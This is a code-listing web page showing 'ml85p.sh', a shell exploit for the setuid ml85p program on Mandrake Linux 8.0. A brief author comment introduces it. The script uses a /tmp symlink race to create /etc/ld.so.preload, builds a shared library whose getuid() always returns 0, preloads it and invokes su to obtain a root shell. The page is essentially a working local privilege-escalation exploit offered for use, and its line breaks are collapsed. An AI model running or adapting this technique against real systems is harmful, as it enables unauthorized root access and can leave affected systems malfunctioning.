📄 ml85p.sh
字号:
Why code the exploit in C if you were just going to sprintf(); system() everything anyway? This is a bad exploit for a lame bug. I found this in april and wrote this exploit to muck around with /etc/ld.so.preload as a means of elevating privildges from symlink attacks locally. old news but still. this ml85 bug appears in Linux Mandrake 8.0. Thing is, this program is mode 4750 root:sys so whatever...suid----#!/bin/sh# Exploit using /usr/bin/ml85p default setuid program on # Mandrake Linux 8.0## You need to be in the sys group to be able to execute # ml85p.echo "** ml85p exploit"# set the required umaskumask 0# get the number of seconds since 1970DATE=`date +"%s"`if [ ! -u /usr/bin/ml85p ] || [ ! -x /usr/bin/ml85p ]then echo "** this exploit requires that /usr/bin/ml85p is setuid and executable." exit 1fiif [ ! -e /etc/ld.so.preload ] || [ ! -w /etc/ld.so.preload ]then echo "** this exploit requires that /etc/ld.so.preload does not exist." exit 1fiecho "** creating file"ln -s /etc/ld.so.preload /tmp/ml85g"$DATE"echo "bleh" | /usr/bin/ml85p -srm /tmp/ml85g"$DATE"echo "** creating shared library"cat << _EOF_ > /tmp/g.cint getuid(void) { return(0); }_EOF_echo "** compiling and linking shared object"gcc -c -o /tmp/g.o /tmp/g.cld -shared -o /tmp/g.so /tmp/g.orm -f /tmp/g.c /tmp/g.oecho "** rigging ld.so.preload"echo "/tmp/g.so" > /etc/ld.so.preloadecho "** execute su. warning all getuid() calls will return(0) until you remove"echo "** the line \"/tmp/g.so\" from /etc/ld.so.preload. removing /tmp/g.so without"echo "** first fixing /etc/ld.so.preload may result in system malfunction"su -echo "** cleaning up"> /etc/ld.so.preloadrm -f /tmp/g.so
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -